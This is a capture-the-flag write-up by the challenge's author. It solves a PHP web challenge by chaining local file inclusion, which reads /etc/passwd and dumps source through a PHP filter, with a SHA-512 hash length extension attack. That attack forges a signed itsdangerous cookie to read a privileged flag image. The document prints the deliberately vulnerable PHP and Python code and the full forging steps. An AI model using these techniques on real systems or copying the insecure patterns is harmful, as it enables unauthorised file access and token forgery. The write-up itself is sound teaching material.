PHP local file inclusion vulnerability leads to source code disclosure revealing python code vulnerable to a hash extension attack allowing an attacker to fake itsdangerous cookies and load privileged image files retrieved from a suid binary.

Challenge Description

Author

amon

Description

Breedom ain’t bree. OK. The world gonna be litterd with the sneks. Praise snek.

http://188.166.226.181:8081.

Solution

I designed this challenge for the Qualifying CTF for X-CTF 2016, a CTF aimed at inter-varsity competition. This actually went unsolved so here’s the intended solution 🙂

First, let’s visit the website.

1

Clicking on the link below the Youtube video brings us to this page:

2

If we click on the ‘be snek x’ links, a GET parameter is added when calling the same snek.php resource. The image changes as well. For example, clicking on ‘be snek1’ gives us:

3

Notice the ‘snek.php?besnek=snek1.php’. Something to note here is that when you visit the page with no parameters at all, the image does not revert back to the default one but remains persistent to the snek you chose:

4

This is explained once you take a look at the cookies:

5

Looks like a token or something. Let’s keep this in mind and move on. Remember that the snek.php page takes a GET parameter that seems to include a PHP script? Let’s try to perform a local file inclusion attack by including /etc/passwd:

6

It works! Now, let’s try to get the source code of snek.php with PHP filter:

7

Decoding the base64 gives us:

<?php

$snek = "snek0.php";
$snekie = $_COOKIE['snek'];
$new = false;

if (!empty($_GET['besnek'])) {
    $snek = $_GET['besnek'];
    $new = true;
}

include $snek;
include "secret_hashkey.php";

if ($new) {
    $snekie = trim(exec("python /sneks/straya.py generate $secret_key " . escapeshellarg($snekfile)));
    setcookie("snek", $snekie);
}

?>

<head>
    <title>Don't Dread on Me</title>
    <style>
    img {
        width: 50%;
        height: auto;
    }
    </style>
</head>
<body>
<div align="center">
    <h1>U ARE THIS SNEK :D:D:D:D</h1>

<?php

passthru("python /sneks/straya.py load $secret_key " . escapeshellarg($snekie));

?>
<br>
<a href="./snek.php?besnek=snek1.php">be snek1</a>
<a href="./snek.php?besnek=snek2.php">be snek2</a>
<a href="./snek.php?besnek=snek3.php">be snek3</a>
<a href="./snek.php?besnek=snek4.php">be snek4</a>
<a href="./snek.php?besnek=snek5.php">be snek5</a>
</div>
</body>

Four things to pay attention to:

  1. $snek include (take a look at snek0.php)
  2. secret_hashkey.php include (take a look at secret_hashkey.php)
  3. exec call to /sneks/straya.py and cookie set (take a look at straya.py)
  4. passthru call to /sneks.straya.py

snek0.php

<?php
    $snekfile = "snek.jpg";
?>

This isn’t particularly useful.

secret_hashkey.php

<?php

    # This is not the flag
    $secret_key = exec("./secret_key");

?>

If you tried to grab secret_key from the server, you would not receive anything since it was set non-read but executable. So there is no way to obtain the secret_key variable unless you have arbitrary PHP execution which isn’t the point of the challenge.

/sneks/straya.py

#!/usr/bin/python

import sys
from itsdangerous import URLSafeSerializer
import subprocess
import hashlib
import os
from os.path import splitext

"""
# whoami
www-data
# ls -la
total 348
drwxr-xr-x  2 snekuser snekuser   4096 Apr  9 18:10 .
drwxr-xr-x 80 root     root       4096 Apr  9 18:13 ..
-r-sr-sr-x  1 snekuser snekuser   7560 Apr  9 18:10 read_file
-r--------  1 snekuser snekuser  24961 Apr  9 14:39 snek.jpg
-r--------  1 snekuser snekuser   7118 Apr  9 12:47 snek1.jpg
-r--------  1 snekuser snekuser  35242 Apr  9 12:47 snek2.jpg
-r--------  1 snekuser snekuser  50713 Apr  9 12:47 snek3.jpg
-r--------  1 snekuser snekuser 173542 Apr  9 12:47 snek4.jpg
-r--------  1 snekuser snekuser  18784 Apr  9 12:48 snek5.jpg
-r--------  1 snekuser snekuser   9418 Apr  9 13:47 snek_flag.png
-r-xr-xr-x  1 snekuser snekuser   1819 Apr  9 17:43 straya.py
"""

def main():
    abspath = os.path.abspath(__file__)
    dname = os.path.dirname(abspath)
    os.chdir(dname)

    action = sys.argv[1]
    secret_key = sys.argv[2]

    if action == "generate":
        filename = sys.argv[3]
        basename = filename.split(".")[-2]
        extension = filename.split(".")[-1]
        digest = hashlib.sha512(secret_key + basename).hexdigest()
        des = URLSafeSerializer(digest)
        credentials = {'filename': filename.encode("base64"),
                       'ext': extension,
                       'length': len(filename),
                       'signature': digest}
        print des.dumps(credentials, salt="donttread")
        return

    signed_serial = sys.argv[3]

    result = URLSafeSerializer("").loads_unsafe(signed_serial)

    img = "snek.jpg"

    try:
        if result[1]:
            signature = result[1]['signature']
            extension = result[1]['ext']
            filename  = result[1]['filename'].decode("base64")
            length    = result[1]['length']
            if len(filename) == length and len(extension) == 3:
                basename = filename.split(".")[-2]
                digest = hashlib.sha512(secret_key + splitext(filename)[0]).hexdigest()
                if digest == signature:
                    des = URLSafeSerializer(digest)
                    des.loads(signed_serial, salt="donttread")
                    img = "%s.%s" % (basename, extension)
    except:
        pass

    proc = subprocess.Popen(["./read_file", img], stdout=subprocess.PIPE)
    imgo = proc.stdout.read().encode("base64").replace("\n", "")
    output = '<img src="data:image/png;base64,%s" alt="i am %s" />' % (imgo, img)
    print output

if __name__ == "__main__":
    main()

Now, to make the end target more obvious, I have included a comment in the source file displaying the results of the ls -la command in the image file directory. It should be fairly obvious that the end game is to read the file snek_flag.png. Also, it is not possible to read the file directly with our PHP local file inclusion vulnerability. The only possible way with the permissions set the way they are is to use the setuid readfile executable.

From the script, we can see that the cookie is signed using itsdangerous. Now, we can attempt to load the cookie in our browser unsafely to see what the contents are:

In [7]: URLSafeSerializer("x").loads_unsafe(".eJwVzj0OwjAMQOG7ZO5Qx4ljd0TiFizOj0sRRAhaCYG4O2X83vQ-rr1WN7nLfXaDey5z13V7tL1k8xSMuGICHD2logqI0LwYAkityCQhWqsBsQmnXcbaTLRw9CAE0VLQnMRnsgqVxGRMHKAEGblADoWVJFJEVc01C49egBKYtn3n2vq8nt0kg7Nlh97-Y8XHq76Pm_ZDP3X3_QEZdzgA.V5Npu-hm5iMxPaEtnmzeQhK8Y08")
Out[7]:
(False,
 {'ext': 'jpg',
  'filename': 'c25lazEuanBn\n',
  'length': 9,
  'signature': 'bf264f68d37130267caa1331e29f3119dd386945fed433e987694f8aef9ac85219615f74ab792b6fd1d69f907841c4908c1b4c8a695653aaabdb980291671fae'})
In [8]: "c25lazEuanBn".decode("base64")
Out[8]: 'snek1.jpg'

The idea of the end game is to forge a valid itsdangerous cookie that contains payload that resolves to snek_flag.png and contains a valid payload signature. Since the itsdangerous class is initialised with the payload signature as a secret key, we can forge it once we generate a valid signature. To do this, we simply make use of a hash extension attack. The program is vulnerable to this because it appends user controlled content to a secret key and hashes it using SHA512, a hash that is based on Merkle-Damgård construction.

However, we still have to trick the script into generating proper file names even after mangling the ‘filename’ entry in the dictionary since we cannot completely overwrite it, only append. None of the snek options on the web application allow us to use snek.jpg as well, so appending _flag is not an option. If we look closely, there are two fishy aspects of the script though:

  1. The basename is assigned to filename.split(".")[-2] but the actual signature calculation uses splitext(filename)[0])
  2. The extension used from the ext entry not the actual file name.

To demonstrate the differences in (1):

In [16]: "a.jpg".split(".")[-2]
Out[16]: 'a'

In [17]: splitext("a.jpg")[0]
Out[17]: 'a'

In [18]: "a.b.jpg".split(".")[-2]
Out[18]: 'b'

In [19]: splitext("a.b.jpg")[0]
Out[19]: 'a.b'

This gives us a method to create valid file names that make sense to both the file system and the hash calculation. All we have to do is provide ‘png’ in the extension field and we can generate a snek_flag.png. Now, all we have left to do is to figure out or guess how long the secret_key is. The intended solution just expects the participants to try the possible lengths and come across a good number: 11.

Let’s generate a good payload signature now using hash_extender:

$ ./hash_extender -s bf264f68d37130267caa1331e29f3119dd386945fed433e987694f8aef9ac85219615f74ab792b6fd1d69f907841c4908c1b4c8a695653aaabdb980291671fae -d snek1 -a .snek_flag -f sha512 -l 11
Type: sha512
Secret length: 11
New signature: 048ad864a10dfa8a7ffc0c0f4849c2d34f6f6af345bc2fe9901c5e42f92e0d3db1f99b5e5186c40599bbf25e338d2bdcaaa7791ef872f9e2c73cff74678a624c
New string: 736e656b31800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000802e736e656b5f666c6167

With this new signature, we can construct our itsdangerous cookie and sign it.

In [88]: sig = "048ad864a10dfa8a7ffc0c0f4849c2d34f6f6af345bc2fe9901c5e42f92e0d3db1f99b5e5186c40599bbf25e338d2bdcaaa7791ef872f9e2c73cff74678a624c"
In [89]: ext = "png"

In [90]: fn = "736e656b31800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000802e736e656b5f666c6167".decode("hex") + ".jpg"

In [91]: serial = URLSafeSerializer(sig, salt="donttread")

In [92]: obj = {'ext': ext, 'filename': fn.encode("base64"), 'length': l, 'signature': sig}

In [93]: serial.dumps(obj)
Out[93]: '.eJytjrtqQzEQRP9FtQtptXoZUpgUbkLawMXNarV7bbBFHtfgxPjfLXf5AE93BuYwVyOXxazNZ5_Nyvwc5k7L-VtGYzFTyxHJ2aaUKamyZauYsTA0jxo1knoMlUGlFOs4CIIWENt8q05LqUGCy5HRhgFVIYj3uUFtTEQpFSea09gIcPKsmjCmTBGQx52j9HnZm7XzbmX0MJBOj2sM4Uh_280zsutP0fyzvW7e-vt5-lh0Ol3202_44i2_7Lq53QFwUmdK.UqoghPmOqRguNySjP0y6LFvpWx0'

Now, all we need to do is plug in that cookie into the browser and get our flag!

8

Flag: XCTF{0h_t4k3_m3_1n_0_10der_w0m4n}

Leave a Comment